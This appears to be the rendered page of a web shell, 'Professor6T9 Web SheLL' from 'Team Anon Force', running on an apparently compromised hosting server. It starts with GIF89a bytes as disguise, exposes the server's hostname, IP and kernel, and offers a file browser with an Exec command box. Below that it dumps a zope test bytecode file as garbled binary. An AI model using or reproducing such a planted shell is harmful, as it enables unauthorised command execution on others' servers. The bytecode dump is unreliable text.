GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
proc
/
thread-self
/
root
/
usr
/
lib
/
python3.6
/
site-packages
/
zope
/
component
/
tests
/
__pycache__
[ HOME ]
Exec
Submit
File Name : test_hookable.cpython-36.pyc
3 ,�W � @ s* d Z ddlZG dd� dej�Zdd� ZdS )zPure-Python hookable tests � Nc @ sd e Zd Zdd� Zdd� Zdd� Zdd� Zd d � Zdd� Zd d� Z dd� Z dd� Zdd� Zdd� Z dS )� HookableTestsc C s ddl m} | jt|� d S )Nr )�hookable)�zope.component.hookabler �assertRaises� TypeError)�selfr � r �#/usr/lib/python3.6/test_hookable.py�test_ctor_no_func s zHookableTests.test_ctor_no_funcc C s@ ddl m} dd� }||�}| j|j|k� | j|j|k� d S )Nr )r c S s d S )Nr r r r r �foo s z+HookableTests.test_ctor_simple.<locals>.foo)r r � assertTrue�original�implementation)r r r �hookedr r r �test_ctor_simple s zHookableTests.test_ctor_simplec C s( ddl m} dd� }| jt|||� d S )Nr )r c S s d S )Nr r r r r r # s z.HookableTests.test_ctor_extra_arg.<locals>.foo)r r r r )r r r r r r �test_ctor_extra_arg! s z!HookableTests.test_ctor_extra_argc C s* ddl m} dd� }| jt|||d� d S )Nr )r c S s d S )Nr r r r r r ) s z3HookableTests.test_ctor_extra_arg_miss.<locals>.foo)Znonesuch)r r r r )r r r r r r �test_ctor_extra_arg_miss'